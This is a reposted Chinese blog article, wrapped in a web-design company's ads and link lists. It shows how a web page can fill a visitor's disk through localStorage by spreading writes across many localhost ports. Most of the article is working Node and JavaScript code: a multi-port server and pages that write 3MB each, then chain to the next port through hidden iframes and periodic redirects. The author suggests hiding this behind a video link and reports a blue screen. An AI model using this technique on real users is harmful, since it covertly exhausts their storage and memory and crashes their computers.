作为一个前端，可以如何机智地弄坏一台电脑？

有人说，前端的界限就在浏览器那儿。

成都创新互联总部坐落于成都市区，致力网站建设服务有成都网站建设、做网站、网络营销策划、网页设计、网站维护、公众号搭建、小程序定制开发、软件开发等为企业提供一整套的信息化建设解决方案。创造真正意义上的网站建设，为互联网品牌在互动行销领域创造价值而不懈努力！

无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。 这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。 然而，作为一个前端，我发现是有方式打开次元大门的…

这个实验脑洞较大，动机无聊，但某种意义上反映了一些安全问题。 想象一下，有天你在家里上网，吃着火锅还唱着歌，点开一个链接，电脑突然就蓝屏了！想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。 windows下的chrome，localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页***写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。

对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。

那么问题就变成：这样的限制足够保护用户硬盘了吗？

关键

关键的问题在于，这一限制，针对的是一个域名+端口。 也就是说，你访问同一个域名的不同端口，它们的localStorage并无关联，是分开存储的。

我用node简单地开启了服务器，这时，用户访问http://127.0.0.1:1000到http://127.0.0.1:1099这100个端口，会请求到同一个页面：index.html：

 
 
    
  
  
  1. var http = require('http'); 
    2. 
  
  
  2. var fs = require('fs'); 
    3. 
  
  
  3.  
    4. 
  
  
  4. //100个端口 
    5. 
  
  
  5. for(var port = 1000; port< 1100; port++){ 
    6. 
  
  
  6.   http.createServer(function (request, response) { 
    7. 
  
  
  7.     //请忽略这种循环读文件的方式，只为了简便 
    8. 
  
  
  8.     fs.readFile('./index.html', function(err, content){ 
    9. 
  
  
  9.       if(err) { 
    10. 
  
  
  10.       } else { 
    11. 
  
  
  11.         response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' }); 
    12. 
  
  
  12.         response.write(content); 
    13. 
  
  
  13.         response.end(); 
    14. 
  
  
  14.       } 
    15. 
  
  
  15.     }); 
    16. 
  
  
  16.   }).listen(port, '127.0.0.1'); 
    17. 
  
  
  17. } 
    18.

当然，这个index.html里涉及了localStorage写操作。

 
 
    
  
  
  1. var s = ""; 
    2. 
  
  
  2. //慢慢来，别写太大了，好害怕… 
    3. 
  
  
  3. for(var i=0; i< 3 * 1024 * 1024; i++){ 
    4. 
  
  
  4.   s += "0"; 
    5. 
  
  
  5. } 
    6. 
  
  
  6. localStorage.setItem("testData", s); 
    7.

我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。 如果要实验变得更好（xie）玩（e）一些，问题就变成如何让用户自动遍历这些端口？

iframe是个好的尝试。 只要一打开http://127.0.0.1: 1000，页面的脚步就会创建一个iframe，去请求http://127.0.0.1: 1001，一直循环下去。

 
 
    
  
  
  1. var Main = (function(){ 
    2. 
  
  
  2.   var _key = "testData"; 
    3. 
  
  
  3.   var _max = 1100; //***限制 
    4. 
  
  
  4.   return { 
    5. 
  
  
  5.     init: function(){ 
    6. 
  
  
  6.       //慢慢来，别写太大了，好害怕… 
    7. 
  
  
  7.       var s = ""; 
    8. 
  
  
  8.       for(var i=0; i< 3 * 1024 * 1024; i++){ 
    9. 
  
  
  9.         s += "0"; 
    10. 
  
  
  10.       } 
    11. 
  
  
  11.       localStorage.setItem(_key, s); 
    12. 
  
  
  12.  
    13. 
  
  
  13.       var port = parseInt(location.port)+1; 
    14. 
  
  
  14.       if(port > _max) return; 
    15. 
  
  
  15.  
    16. 
  
  
  16.       //新添加iframe 
    17. 
  
  
  17.       var url = "http://127.0.0.1:" + port; 
    18. 
  
  
  18.       var $iframe = document.createElement("iframe"); 
    19. 
  
  
  19.       $iframe.src = url; 
    20. 
  
  
  20.       document.getElementsByTagName("body")[0].appendChild($iframe); 
    21. 
  
  
  21.     } 
    22. 
  
  
  22.   } 
    23. 
  
  
  23. })(); 
    24.

当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…

比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。

然后我就看到请求如潮水渐涨：

但是，请求到1081端口，***的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满，同志还需努力。怎么办？

突然想到，到达iframe极限之前，我们可以重定向啊。 每访问50个端口，就使用.href重定向一次，去确保浏览器不崩溃。

 
 
    
  
  
  1. var Main = (function(){ 
    2. 
  
  
  2.   var _key = "testData"; 
    3. 
  
  
  3.   var _max = 1200; //***限制 
    4. 
  
  
  4.   var _jumpSpace = 50; //为避免iframe过多导致浏览器crash，每50个执行跳转 
    5. 
  
  
  5.  
    6. 
  
  
  6.   return { 
    7. 
  
  
  7.     init: function(){ 
    8. 
  
  
  8.       //慢慢来，别写太大了，好害怕… 
    9. 
  
  
  9.       var s = ""; 
    10. 
  
  
  10.       for(var i=0; i< 3 * 1024 * 1024; i++){ 
    11. 
  
  
  11.         s += "0"; 
    12. 
  
  
  12.       } 
    13. 
  
  
  13.       localStorage.setItem(_key, s); 
    14. 
  
  
  14.  
    15. 
  
  
  15.       var port = parseInt(location.port)+1; 
    16. 
  
  
  16.       if(port > _max) return; 
    17. 
  
  
  17.  
    18. 
  
  
  18.       if(port % _jumpSpace == 0){ 
    19. 
  
  
  19.         //每50个，重定向一次 
    20. 
  
  
  20.         window.location.href = url; 
    21. 
  
  
  21.       }else{ 
    22. 
  
  
  22.         //新添加iframe 
    23. 
  
  
  23.         var $iframe = document.createElement("iframe"); 
    24. 
  
  
  24.         $iframe.src = url; 
    25. 
  
  
  25.         document.getElementsByTagName("body")[0].appendChild($iframe); 
    26. 
  
  
  26.       } 
    27. 
  
  
  27.     } 
    28. 
  
  
  28.   } 
    29. 
  
  
  29. })(); 
    30.

事实证明，这种蛮拼的方法的确可行。

至此，只要访问http://127.0.0.1: 1000，就会往Local Storage文件夹里写入近500M无用数据：

里面的数据是这样的：

继续实验的黑科技

算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。 结果是这样的，到达了1.17G大小。

在后续的实验中，我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢？

我观察到，有时候执行localStorage.setItem()后，在文件夹里不一定立即能看到数据文件。 怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。

但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。 即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有：

  1. 等待；

  2. 用任务管理器关掉chrome进程，再等待；

  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说，浏览器的内心几乎是崩溃的。

***

***，还是得用严肃脸告诫一下：害人之心不可无。 本实验，从一开始就是怀揣着将安全问题上交给国家的初衷去做的（是的就是这么纯粹）。

后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。 由于请求过多，需要一定时间，我就去做别的事情了。 回来后发现房间安静祥和，一片蓝光，像是加了特技。

那么问题来了，计算机修理哪家强？

有点急…

文章名称：作为一个前端，可以如何机智地弄坏一台电脑？
网址分享：http://www.shufengxianlan.com/qtweb/news28/182728.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

网站设计公司知识

同城分类信息

全网营销　　 　成都多线机房　　 　成都移动服务器托管　　 　橡塑保温管　　 　租用服务器　　 　成都网站设计　　 　古蔺网站建设　　 　南充服务器托管　　 　成都微信小程序开发　　 　绵竹做网站　　 　南充主机托管　　 　定制网站建设　　 　中国西部信息中心　　 　瑞捷酒店用品　　 　内江做网站　　 　广安搬家公司　　 　SSL证书　　 　成都IDC机房托管　　 　防护网厂　　 　成都移动服务器托管